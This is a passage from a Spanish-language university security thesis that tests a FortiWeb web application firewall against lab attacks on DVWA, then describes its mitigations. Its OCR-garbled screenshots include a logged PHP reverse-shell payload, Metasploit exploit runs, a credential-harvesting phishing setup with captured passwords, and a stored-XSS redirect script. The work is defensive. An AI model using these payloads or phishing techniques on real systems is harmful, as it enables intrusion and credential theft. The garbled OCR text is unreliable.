B FTP Security N 15 154627 DVWA 19216812 2020205 wes Erase HTTP Header triggered custom signature rule Custom signature_dvwa 192.168.1.1 /dvwallogin
0 DS Proection y 16 15:46:18 DVWA  192.168.12 2020.20.5 Erase HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures 192.168.1.1 /dvwallogin
17 154618 DVWA  192.168.1.2 2020205 wew Erase HTTP Header triggered custom signature rule Custom signature_dvwa 192.168.1.1 fdvwallogin
B protection P p 154610 DVWA 19216812 200205 Redirect  Start Page Violation 19216801 fdvwalinstructi
L Tracking > 19 13:3042 DWVWA  192.168.12 2020205 Erase HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures 192.168.1.1 /mutillidae/?pa;
= AutoLearn y 20 133042 DVWA  192168.12 2020205 wes Erase HTTP Body triggered signature D 080030001 of Signatures policy DVWA Signatures  192.168.1.1 /mutillidae/?pz;
@, WebVulnerability Scan 21 133042 DVWA 19216812 20.20.20.5 wew Erase HTTP Header triggered custom signature rule Custom signature_dvwa 192168.1.1 /mutillidae/?pa;
Ll LogSReport N 22 13:30:26 DVWA  192.168.1.2 2020205 Erase HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures 192.168.1.1 /mutillidae/ v
€ Monitor y v ¢ ’
719 > 3 [Total7842]
a W

Figura 111. Logs que muestran el bloqueo en Fortiweb

Ahora intentaremos ejecutar el exploit desde Kali Linux y veremos

coémo Fortiweb logra bloquear el ataque.

nsf exploit( ) > exploit run
[¥] Started reverse TCP handler on 192.168.1.15:4444

[*] Exploit completed, but no session was created.

) > exploit run

nsf exploit(

[*] Started reverse TCP handler on 192.168.1.15:4444
[*] Exploit completed, but no session was created.
nsf exploit( B |
Figura 112. Bloqueo de Fortiweb al intento de ejecucion de exploit

Ahora veremos logs en FortiWeb, donde visualizaremos el bloqueo y

podremos ver la ip origen del atacante para poder agregarlo a una lista negra.
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SITIO WEB HACKEADO X | 3 FortiWeb - FortiWeb X [+ -a
¢ ¢ @ (D) 192.168.1.1:1044/ind=x w e @h n&@ =
82 FortiWebVM FortiWeb
2 System > N Y Aggresated Attacks
. Sub Type HITP Duplicated Parameter Name
FortiView b C . y i
I:U 2 | % Severity Level: ! Informative @) Add Filier % @B | threstLevel
ser ¥ ,
!] # DatefTime Policy  Source  Destination Threatlevel —Action | Threat Weight 5
Policy b - .
102 WA 192168115 2020205 Mert Deny Dupiated Paramter Neme | Historica Threat Welght 0
& Server Objcts YU 8316 DWA 192168115 2020205 Redirect  StartPage Violaion User Agent m"’;"mlc"“m'ﬂ PRI
‘*‘ADDﬁGﬁGﬂDEHVBW M 3 082316 DVWA 192163115 2020205 Alert Duplicated Parameter Name :
Message Duplicated Parameter Name
@ Web Protection » 4 081936 DVWA 192168115 2020205 Redirect ~ Start Page Violation
5 03193 DVWA 192168115 2020205 Mt Duplicated Parameter Name Connection
WP Seaurty ’ 1921681539379 > M550
. 6 081703 DWWA 192168115 2020205 Redirect  Start Page Violation E— ’ -
1) DoS Protection > ; .
7 081703  DVWA 192168115 2020205 Redirect  Start Page Violation Matched patten
B perotecion Y8 0B646  DVWA 192168115 2020205 Erase  HTTPHeadertriggeredsignature IDO: (| s_callable(Sf]{$s
L Tracking } 9 081646 DVWA 192168115 2020205 s Erase H]TPHeadertriggeredmsmmsigna(l_ Packet Header
= AutoLearn ) 10 081646 DVWA  192.168.1.15 2020205 Erase HTTP Header triggered signature ID ¢ POST /7-define allow url include=ON -d safe mode=0-d suhosin.simul
@ WebVulneratiltyScan > 11 081646 DVWA  192168.115 2020205 w= Erase HTTP Header triggered custom signat_|| ation=TRUe -d disable_functions=""-define open_basedir-none defin
- i irect=off - i
12 081646 DVWA 192168115 2020205 Erase HTTPHeader triggered signature ID O Elautujrependjle D“N\neﬂtdtg\.force,redlred off -define caire
il Log&Report v direct status env=0-nHTTP/L1
. 13 081646 DVWA 192168115 2020205 we Erase HTTP Header triggered custom signaft Host: 192.168.1.1
Log Access v " . . - 192.168.1.
14 081646 DVWA 192168115 2020205 Erase H]TPHeadertrfggeredswgnﬂunfID[) User-Agent: Mozlla40 (compatibl: MSIE 6.0: Windows NT5.1)
15 081646 DVWA 192168115 2020205 wme Erase HTTP Header triggered custom signatt ContentType: spplcatonfcww-form-trfencoded
Event 16 081643 DVWA 192168115 2020205 Erase HTTP Header triggered signature ID 0 Content-Length: 1119
Traffic 17 081643 DVWA 192168115 2020205 = Erase HTTP Header triggered custom signatt YForwarded For- 192 168145
n—— 18 081514 DVWA 192168115 2020205 Redirect  Start Page Violation
| M |9 op15M4 DVWA 192163115 2020205 Met  Duplcated Parameter Name SawBody:
Report > 20 081459 DVWA 192168115 2020205 frase TP Headertriggeredsignature D0 || <7PhP/"<Iphp/ ¥ error reporting(0); §ip="192.168.115' Sport=44
i i 44:if{($f = "stream socket_client’) &&is callable(SA) $s = $f("tcp /(S
Log Policy y |21 08:1459 DVWA 192168115 2020205 e Erase HTTP Header triggered custom signatt inl{Sport}:$s tyne:s'stream’}if ('S5 &5 5f = Tsockopen') &&is call
LogConfig N 22 081454 DVWA  192168.115 2020205 Redirect ~ Start Page Violation able($)]T $s= $f{%in, Sport); s_type = 'stream’; }if (1$s &8 ($F = ‘socke
t create’) &&s callable{S0}{ S5 = $AFINET, SOCK STREAM,SOL T
€ Monitor y wl€ 2 CP); Sres = @socket_connect(Ss, Sip, Sport); i ('Sres) { dief); 1 $s_type
79> ¥ [Totat7894] ="socket’;}if (s type)  die{ no socket funcs; Jf '$s) {die(nosocket. ,

i G

Figura 113. Log que muestra el bloqueo deFortiweb a la conexion de exploit

Adicionalmente Fortiweb nos permite configurar un Anti defacemente,
mantiene hashes de archivos en su Apache, 1IS u otro directorio de sitio web.
Periddicamente, FortiWeb se conecta al servidor para ver si los archivos han
cambiado. Si detecta un cambio y usted no le dijo explicitamente a FortiWeb
gue ocurriria un cambio autorizado, entonces FortiWeb puede enviarle un
correo electronico o revertir automaticamente los archivos a una copia limpia.
Esto puede ayudar a minimizar el impacto de desfiguraciones masivas de
unidades de disco en los proveedores de hosting, mientras trabajas para

descubrir y analizar el agujero de seguridad.
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-8

£23 FortiWeb - FortiWeb X | Damn Vulnerable Web App DWW/ X +

&« 5 C @ ® & 192.168.1.1:1044/index [ 4 N & @ =

== FortiWeb-VM FortiWeb

£ System >~ STV Anti Defacement File Filter

s FortiView ] Edit Web Site with Anti-Defacement
& User >
" Web Site Name | Sistema_dvwa *
B policy >
Description:
£ Server Objects > i

4‘ Application Delivery >

& Web Protection v Enable Monitor: [ ¢}
Known Attacks N Hostname/IP Address: | 2020205 *
: .
Advanced Protection > ConnectionType: | S8H M
ooy | PSP [22
00KIE SEcurtl
Folder of WebSite: [ Warswwwidvwal :
Input Validation >
0 FeFiler | Preaseselect v
Protocol
User Name: | msfadmin *
pCre ’ Password: | essee
ghE o= Alert Email Policy: [ Prase selct .
N Moritor Interval for Root Folder: [ e0 Seconds
W FTP Security ? Menitor Interval for Other Folder: | 600 Seconds
10 DoS Protection 3> Maximum Depth of Monitored Folders: | 5
B 1P Protection > | SkipFilesLarger Than [ 10240 KBytes
L Tracking > Skip Files With These Extensions: | eg "iso,avi, zip"
= AutolLearn } Restore Changed File Automatically: [ o]

Q Web VulnerabilityScan 3 Acknowledge Changed File Automatically: [0 )

|shl Log&Report 3

0K Cancel Test Connection
@& Monitor > v

= UM
Figura 114. Configuracion de antidefacement en Fortiweb

0:09
24/0412019

23 FortiWeb - FortiWeb X Damn Vulnerable Web App (DVW/ X + - B

R (& 192.168.1.1:1044/index w o O In & @ =
FortiWeb-VM FortiWeb

£ System Anti Defacement File Filter

i FortiView > dCreateNew | [FEdit | FiDelete | @View | ®yRevert  ¥Refresh

& User > # Name Hostname/IP Monitor Connected Total Files Total Backup Total Changed

B rolicy i1 Sistema_dvwa 2020205 @Enable L 142 142 0

£ Server Objects >

*Appl\mﬂun Delivery ¥
& WebProtection v
Known Attacks >
Advanced Protection >

Cookie Security

Input Validation >

Protocol

Access >

XML Protection
I FTP Security >
1D DoS Protection 3y
B IP Protection >
L Tracking »
= AutoLearn >

QWeh Vulnerability Scan >
sl Log&Report >
& Monitor y v

- TN
DT amporg

Figura 115. Verificando el estado de conexién con el servidor web

78




Universidad de Buenos Aires — Especializacion en Seguridad Informatica

£21 FortiWeb - FortiWeb X I Damn Vulnerable Web App (D' X | + - B
& [N ® 192.168.1.1:1044/indlex o O W In&@ =
£72 FortiWebVM FortiWeb
inti Defacement i Defacement File Filter
& spien > | DY iDeacementFe it
M FortiView ? Web Site Backup Files - Sistema_dvwa
& User > - Sistema_dvwa E
& policy > + confy (2) Name Size{bytes) Date Modified
— . + docs (1)
&5 Server Objects > + dvs (8) Dconfig 4096 2019-04-2319:00:28
b Application Delivery » + extemal (1) Odocs 4096 2019-04-23 19:00:28
. + hackake (2) DOdvwa 409  2019-04-2319:00:28
@ WebProtection ¥ + vuinerabilities (12) o
Dexternal 409  2019-04-2319:00:28
Known Attacks
nown e ’ [hackable 409  2019-04-2319:00:28
Advanced Protection > [ vulnerabilities 4096 2019-042319:00:28
Cooke Security [lhtaccess 497 2010-09-0818:49:16 @ m
Input Validation > [Claboutphp 2792 2010-08-2608:15:16 [N}
™ oot | [CICHANGELOG.xt 5066 2010-06-06 16:55:14 o mW
rotocol
e CicopviNGt 33107 2010031521562 [ R 1]
b 4 Difaviconico 1406 2010-09-0607:59:42 R
XML Protection [lids_logphp 883 2010-03-1521:56:22 (o}
Web Anti-Defacement Djindexphp 1884 2012-05-20 11:51:49 QW
W FTPSecurity > Dinstructions.php 1761 2010031521562 ou
Iogin.phy 2645 2012-05-201152:33
10 Do Protection > D ogin.php e m
[Cllogout. php 413 2010-03-15 21:56:22 O
B pProtecton ’ Clohpini 148 2009-07-05123150 Rt
L Tracking > Diphpinfo.php 193 2010-03-1521:56:22 O m
= AutoLeam > [CIREADME.oxt 4934 2010-03-152156:22 oW
@ WebVuerabiliyScan > Dlrobots.bet 2 2010-03-1521:56:22 @ W
ity) 738 2010031521562
|l Log&Report b3 Dsecuntyphp ° m
Dlsetup.php 1350 2010-06-06 19:58:00 O
eMomtor > ¢

Figura 116. Archivos copiados por Fortiweb

16. Ataque de redirecciones y reenvios no validados

16.1 Redirecciones y reenvios no validados

Al igual que A4, A10 trata con las entradas que la aplicacion web no
ha validado. En este caso, es especificamente entradas para redirecciones.

Las aplicaciones deben verificar ambos:

e Destino valido (si se permiten
redireccionamientos externos).
e Autorizacion de la persona para ir a esas paginas

web.

El atacante crea enlaces para que la victima haga clic que luego son
llevados a una aplicacién de confianza y alli los atacantes instalan el cédigo
malicioso. Veremos cémo después de realizar el inicio de sesion en el sistema
nos redirecciona a la url index.php, podemos ver el cédigo de estado 302 que

significa redireccionamiento.
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‘ X o+ - 8

< C @ Noseguro | 192.168.1.1/dvwa/index

% (] | Eements Console Sources Network Performance  Memory  Application  Security
® 0 WY Q Vew = =% Group by frame Preserve log Disal )fflin nline
Hide data URLs [0} XHR JS CSS Img Media Font Doc WS Manifest Other

B ] Welcome to Dan H

Instructions Damn Vulnerable Web App (DVWA!
to be an aid for security profession: ) - :
M better understand the processes of | Name X Headers Preview Response
application security in a class room’ loginphp vGenenil
Brute Force ! ——
F WARNING! index php Request URL: http://192.168.1.1/dvwa/login.php
Command Execution J Damn Vulnerable Web App is dami e Request Method:
CSRF any internet facing web server as it dwwaPagejs Status Code: @302 Found
onto a local machine inside your Lf logo.png
File Inclusion Di lai Remote Address: 192.168.1.1:80
Isclaimer icy: no-referrer-when-downgrade
SaL Injecti Referrer Policy: no-referrer-when-downgrade
v ™ We do not take responsibility for the v Response Headers
S0L Injection (Blind) | the clear and it should r’ s
Upload prevent users from installing DVW/ Cache-Control: cache, must-revalidate, post-check=0, pre-check=0
T ZDVWA it 1s| nlot outr respotrtslbm(y zon"miom :
eneral Instructions ontent-Length:
b . Content-Type: text/html
The help button allows you to view B
" page. Date: Tue, 23 Apr 2019 03:29:40 GMT
DVWA Security s
Expires: Thu, 19 Nov 1981 08:52:00 GHT
PHP Info Keep-Alive: eout=15, max=100
About Location: i
You have logged in as ‘admin’
Pragma: he
Logout Server: Apa 2.2.8 (Ubuntu) DAV/2

- X-Powered-By: PHP/5.2.4-2ubuntu5.10
» 5 requests | 5.2 KB transferre,

Figura 117. Codigo de estado 302

Veremos un ejemplo de como un pishing puede engafar facilmente
a un usuario para asi poder obtener sus credenciales. Tenemos un usuario
malicioso que tiene en su servidor web con 3 archivos, un archivo hack.html
gue tiene la apariencia del sistema web DVWA, también cuenta con un archivo
contra.php el cual tiene definido poder capturar las credenciales ingresadas
en la pagina falsa luego de ello los redirecciona hacia el sitio web real y por
altimo tenemos un archivo cuentas.txt para poder almacenar las

credenciales.

Index of fdwwa > -+
- — [ (D localhost/dwvwa,

Index of / dvwa

Name L ast modified Size Description

: Parent irectors, -

contra php 2019-04-24 13:19 273
cuentas Txt 2019-04-24 13:30 63
haclk huml 2019-04-24 03:19 12K

ApacheZ2. 4. 39 (Winod) OpennSSL-T. 7. 05 PHP/7. 3.4 Sarver ar localfiost Pore &0

Figura 118. Archivos creados en servidor web malicioso
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EDamnVuInemu\eWebApp(D‘-. X+ -0
<« C  ©® Noseguro | 192.168.1.16/dvwa/hack htm| % B O :
*
Username
Password
Login

Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project

Hint: default username is ‘admin' with password 'password'

1532

PO T ]
(b 24/04/2019

Figura 119. Usuario recibe url maliciosa e ingresa sus credenciales

D Damn Vulnerable Web App DV X 4 -

3 C @ Noseguro | 192.168.1.1/dwa/login.php o % B O

P

DVHA,

Username

Password Logit

Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project

Hint: default usemame is "admin’ with password ‘password’

- 1533
2400412019

S

Figura 120. Usuario es redireccionado al verdadero sitio web
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A continuacién, vemos las credenciales grabadas en el archivo

cuentas.txt.

ccalhost/dwvwas/cuentas. ot = —+
" L (i) localhost/dwvwa/cuentas.txt

admin|carlos
czulca|carlos
m=oclis|cacezeze

rdcad |carloocoss

admin | perumundialista
admin | password

Figura 121. Atacante almacen0 las credenciales del usuario

Ahora ingresaremos un script en XSS stored que nos permitira

redirigiros a un sitio web malicioso, como veremos se ejecuta con normalidad.

423 FortiWeb - FortiWeb X @ Sewidor no encontrado x |+ - B

“— C 0o @ www.cristalab.com v N &« @ =

Hmm. Estamos teniendo
problemas encontrando ese sitio.

No podemos conectarnos al servidor en wwwi.cristalab.com.

Si esa direccién es correcta, aqui hay otras tres cosas que puede
probar:

® Pruebe mas tarde.

 Verifique su conexion a Internet.

 Si esta conectado a través de un firewall, verifique que Firefox tiene
permisos para acceder a la Web.

Intente nuevamente

€ W)Yo o

Fiura 122. Script malicioso ejecuta un redireccionamiento

El script usado es el siguiente:

<body>
<script type="text/javascript">
window.location="http://www.cristalab.com";

</script>

</body>

Figura 123. Script malicioso
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16.2 Mitigaciones para ataques de redirecciones y reenvios no
validados.

Fortiweb nos permite realizar reglas de validacién de entradas, pero
especificamente sobre temas de redireccionamiento, también podemos usar

las restricciones de acceso a ciertas url como vimos con anterioridad.

22 FortiWeb - FortiWeb X ‘ Damn Vulnerable Web App (DVW/ X = =+ -8

< C @

FortiWebVM FortiWeb

@ 192.168.1.1:1044/indlex U O B 4 In & @ =

rameter Validation Policy |[JZlet EEREIRERERTI
& System > " pa Validation Policy |2 Validation Rul
i FortiView » Edit Parameter Validation Rule
& User >
B Policy ) Name Auto_learn-20190309005548-0
25 Server Objects , Hoststatus ©
b Application Delivery > Host 192.168.1.1 hd
@ WebProtection » | RequestURLType Regular Expression
Known Attacks y  ReauestURL fdvwa/login.php
Advanced Protection » Action Alert & Deny -
Cookie Security Block Period 60 Seconds (1- 3600)
Input Validation v Severity Low -
Parameter Validation Trigger Policy Please Select... -
Hidden Fields
i: i Cancel
File Security
&/ cle
Protocol +CreateNew  [#Fdit | T Delete
Access X ‘ D Name Max Length Data Type Required Name Type Use Type Check
- 1 username 5 Strings No Simple String Enable
XML Protection ‘ 2 password 8 Strings No Simple String. Enable
Web Anti-Defacement ‘ 3 redirect_to 30 URI No Simple String. Enable
W FTP Security >
10 DoS Protection >
,!, IP Protection >
0 Tracking »
| SAdolean > v

Figura 124. Reglas de validacion

226

il =50 '
O s

£33 FortiWeb - FortiWeb

< ¢ @

S0 Fortiweb-VM Fortiweb

£ System

i FortiView

& User

B, policy

== Server Objects

Server

Service
Global
X-Forwarded-For
+}+ Application Delivery
@ Web Protection
I FTP Security
U Dos Pratection
I 1P Protection
O Tracking
= Autolearn
@ Web Vulnerability Scan
sl LogS&Report
€& Monitor

X | [B] Damn Vulnerable Web App (0" X =+

-8

@ 192.168.1.1:1044/index % e @ Y

* | Paramelter Validation Policy IMMMEMM!

i &~ @

> | Edit Parameter Validation Rule

Protected Hostnames

Name
Host Status
Host

Request URL Type

Validation_xss
©
192.168.1.1 v

BEEIEY Regular Expression

Request URL Jdvwa/vulnerabilities/xss_s/
5| Action Alert & Deny -
Block Period 60 Seconds (1 - 3600)
» | Severity Medium -
N Trigger Policy Please Select... hd
b
N OK Cancel
FcreateNew  FiEdit T Delete
N D Name Max Length Data Type Required Name Type
, 1 mixMessage 50 Strings No Simple String
| 2 xtName 20 Personal Name No Simple String

Figura 125. Reglas de validacion
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24 FortiWeb - FortiWeb e DamnVuInerableWEbApPl- X |+

&« ¢ @ ® 192.168.1.1/dvwa/vulnerabilities/xss s/ B o e g

= Vulnerability: Stored Cross Site Scripting (XSS)

Name* Anomymous
s S
<script type="text/avascript"> A
Brute Force Message ™ window location="http:/www cristalab. com"™ o
h </script=
Command Execution <loody>
CSRF Sign Guesthook

5QL Injection (Blind) Name. fest

Message: This is a lest comment

XSS reflected | More info

Username: admin
Securlty Love: v View Source | View Help

PHPIDS: disabled

e

-9

& @ =

: b
a i =
O B seaanne

Figura 126. Ejecutando script malicioso

423 FortiWeb - FortiWeb X The URL you requested hasbeen -t X

€« ¢ @ ® 192.168.1.1/dvwa/vulnerabilities/xss s/ w1y

Web Page Blocked!
@ The page cannot be displayed. Please contact the administrator for additional information.

URL: 192.168.1.1/dvwa/vulnerabilities/xss_s/

Client IP: 192.168.1.2
Attack ID: 20000005
Message ID: 000000002614

-8

ha@ =

; 259
F- =3
& a 25/04/2019

Figura 127. Bloqueo de FortiwWeb
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En los logs de Fortiweb podemos visualizar como se bloque6 primero

por un tema de validacion si el atacante lograba pasar la primera validacion la

firma contra ataques de XSS entraria en accion para mitigarlo.

< X Severity Level: ! Informative @ Add Filter

Destination Threatlevel  Action

Alert_Deny
Erase
Erase
Erase
Erase
Alert_Deny
Erase
Erase
Erase
Erase
Redirect
Alert_Deny
Erase
Erase
Erase
Erase
Erase
Erase

Alert Deny
Erase
Erase

Erase

£23 FortiWeb - FortiWeb X | The URL you requested hasbeen t X | +
< c @ ® 192.168.1.1:1044/index
£2% FortiWeb-VM FortiWeb
B System > ~ TS Aggregated Attacks
8w FortiView >
& User | 5
iy Source
& poicy P WA 19216812 2020205 e
B Server Objects > 1WA 19216812 2020205
o ApplicationDelivery > | WA 19216812 2020205 s
@ Web Protection > WA 19216812 2020205
[p—— 5 | WA 19216812 2020205 s
WA 19216812 2020205
10 DoS Protection >
WA 19216812 2020205
& 1P Protection > WA 19216812 2020205 e
D Tracking > WA 19216812 2020205
= Autolearn s | WA 19216812 2020205 s
Q Web Vulnerability Scan N WA 192.168.1.2 20.20.20.5
WA 19216812 2020205
il Log&Report v
WA 19216812 2020205
Log Access ¥ WA 19216812 2020205 wees
WA 19216812 2020205
o WA 19216812 2020205 e
= WA 19216812 2020205
WA 19216812 2020205 e
Dol WA 19216812 2020205
Report > WA 19216812 2020205
Log Policy > WA 19216812 2020205 s
T Cike 5 | WA 19216812 2020205
€ Monitor > vl

we e @

Message
Parameter name - (mtxMessage) triggered paramater validation
HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures
HTTP Header triggered custom signature rule Custom _signature_dvwa
HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures
HTTP Header triggered custom signature rule Custom_signature_dvwa
Page Access Rule Violation
HTTP Header triggered signature 1D 080200004 of Signatures policy DVWA Signatures
HTTP Header triggered custom signature rule Custom signature_dvwa
HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures
HTTP Header triggered custom signature rule Custom_signature_dvwa
Start Page Violation
URL Access rule (Access_ DVWA) violation
HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures
HTTP Header triggered custom signature rule Custom _signature_dvwa
HTTP Header triggered signature 1D 080200004 of Signatures policy DVWA Signatures
HTTP Header triggered custom signature rule Custom_signature_dvwa
HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures
HTTP Header triggered custom signature rule Custom_signature_dvwa
Page Access Rule Violation
HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures
HTTP Header triggered custom signature rule Custom_signature_dvwa
HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures

i 1 /82 > » [Total:8153]

HTTP Host

192.168.1.1 /dvwa/vulnerabilities/xss_s/
192.168.1.1 /dvwa/vulnerabilities/xss_s/
192.168.1.1 /dvwa/vulnerabilities/xss_s/
192.168.1.1 /dvwa/instructions
192.168.1.1 /dvwafinstructions
192.168.1.1 /dvwa/indexphp
192.168.1.1 /dvwa/login

192.168.1.1 /dvwa/login

192.168.1.1 /dvwa/login

192.168.1.1 /dvwa/login

192.168.1.1 /dvwa/vulnerabilities/xss_s/
192.168.1.1 /dvwa/setup

192.168.1.1 /dvwa/vulnerabilities/xss_s/
192.168.1.1 /dvwa/vulnerabilities/xss_s/
192.168.1.1 /dvwa/vulnerabilities/xss_s/
192.168.1.1 /dvwa/vulnerabilities/xss_s/
192.168.1.1 /dvwa/instructions
192.168.1.1 /dvwa/instructions
192.168.1.1 /dvwa/index.php
192.168.1.1 /dvwa/login

192.168.1.1 /dvwa/login

192.168.1.1 /dvwa/login

n ~ @

Figura 128. Logs generado por regla de validacion

Fortiweb cuenta con diversos tipos de datos ya definido, pero

revisaremos los URI que coincide con cualquier URI valido, no solo redirige al

mismo sitio. Por lo tanto, adn permitiria redirecciones a otro sitio,

potencialmente malicioso. Ademas, este tipo de datos también podria

bloquear los redireccionamientos legitimos del mismo sitio.

Finalmente, esta expresion regular combina las URL como las

escribirias en un navegador, no las que tienen codificacion URL. (La

codificacion URL traduce algunos caracteres que no estan permitidos en una

URL, como espacios, en codificaciones de entidad, como '% 20'. De manera

predeterminada, FortiWeb solo decodifica 1 capa de codificaciéon URL).

Para bloquear los redireccionamientos a otro sitio potencialmente

malicioso o para hacer coincidir las entradas con codificacion URL que no se

han decodificado por completo, personalizamos el

establecemos una configuracion avanzada.

tipo de datos vy

8
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En este ejemplo vemos cdmo se modifica la expresion para que

coincida solo con el tipo de datos aceptable para la entrada de
redireccionamiento, lo que se busca son coincidencias y solo permitir

redirecciones a example.com, www.example.com o ftp.example.com.

10.0.1.7/waf/pcre_expression/validate?redir=/success8imkey=0 - Google C.. L =21 =

1 10.0.1.7/waf/pcre_expression/validateZredir=/success&mkey=0 Q
Regular Expression Validator
Regular Expression (maximum 2071 characters)
‘(httoto)( [Nz TASSAR(\/ 1 \$2F ) (\/ | \%2F))

(wwae\ . [FTP\. | Jexamplen.Ccom? (\/ | \N2F ) 2([a~-TA-TO-9\~\._\?

LA /\\\-8%\S=\=~])"S
Right

hetodN3ARF%2Fexample . com%2F index%3Ffuserd3Dacmin%26pass
wa%30passwordl

Result: Match
validate

Figura 129. Regla de expresioén para url del sistema

Para evitar que los atacantes evadan la deteccidn codificando la URL
dos o0 mas veces, alternativamente, puede habilitar la opcién para deshacerlo.
Esta es una configuracién global, por lo que puede afectar el rendimiento de

escanear cada entrada, en cada politica.

&% FortiWeb - FortiWeb X |+ -8
AR ® 192.168.1.1:1044/index w U hag@ =
25 FortiWebVM FortiWeb
) A Advanced
SNMP
Replacement Message Shared IP O
Advanced Detects source IP addresses that are shared by multiple clients.
FortiGate Integration
FortiGuard Maximum Body Cache Size 64 KB
ForiSandhe Limits the maximum size for body compression, decompression, rewriting and XML detection. Increasing the body cache may decrease performance.
ortiSandbox
e Maimum DLP Cache Size 40% 26K8)
. . v
Device Tracking . . . :
Feature Visibiity The maximum size scanned by DLP. To further increase this buffer, increase Max. Body Cache Size. (This buffer must be less than Maximum Body Cache Size. ) Increasing the size may decrease performance.
S g Recursive URL Decoding O
Certificates ) Ifrequest URLs are encoded multiple times, decodes until the URL is no longer encoded. May decrease performance.
Maintenance b 0
Advanced Decoding
M FortiView ) ’
Enable to perform Based4 and CSS decoding based on the configurable rules below.
& User )
== Seryer Ohjerts

Figura 130. Activando la decodificacion de url
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17. Conclusiones

En el presente trabajo después de realizar diversos ataques
maliciosos contra nuestro sistema web vulnerable, confirmamos como
Fortiweb nos brindé seguridad de manera eficiente, ademas puede reducir de
forma muy significativa los costes de despliegue e implementacién de las
politicas de seguridad a través de la consolidacion de las funcionalidades de
Firewall de Aplicaciones, Firewall XML, aceleracién del trafico web y balanceo
del trafico de las aplicaciones en un solo dispositivo, que ademas no se
licencia por numero de usuarios o servidores. Reduce por tanto drasticamente
el tiempo necesario para realizar el andlisis, disefio e implementacion de una
politica de proteccion completa y eficaz de los recursos y aplicaciones web de

cualquier organizacion o empresa.

Mediante el uso de avanzadas técnicas para ofrecer proteccion
bidireccional contra ataques complejos y sofisticados como por ejemplo “SQL
Injection” y “Cross-site scripting”, las plataformas FortiWeb ayudan a prevenir
robos de identidad, fraudes econOmicos y espionaje corporativo. Los
dispositivos FortiWeb proporcionan la tecnologia imprescindible para
monitorizar y aplicar las distintas normativas regulatorias, tanto
gubernamentales como de iniciativa privada, asegurar la implantacion de las

practicas de seguridad recomendadas y las adecuadas politicas internas.

Ya sea que se trate de sencillamente cumplir con los estandares o de
proteger las aplicaciones criticas, los Web Application Firewall de FortiWeb
proporcionan caracteristicas avanzadas para defender las aplicaciones web
de amenazas conocidas y de dia cero. Al utilizar un enfoque multicapa
avanzado y correlacionado, FortiWeb proporciona seguridad completa para
sus aplicaciones externas e internas basadas en la web frente a las amenazas
del OWASP Top 10 y muchas otras. En el nucleo de FortiWeb se encuentran
sus motores de deteccion basados en auto aprendizaje de doble capa que
detectan amenazas de manera inteligente sin casi ninguna deteccion de falsos

positivos.
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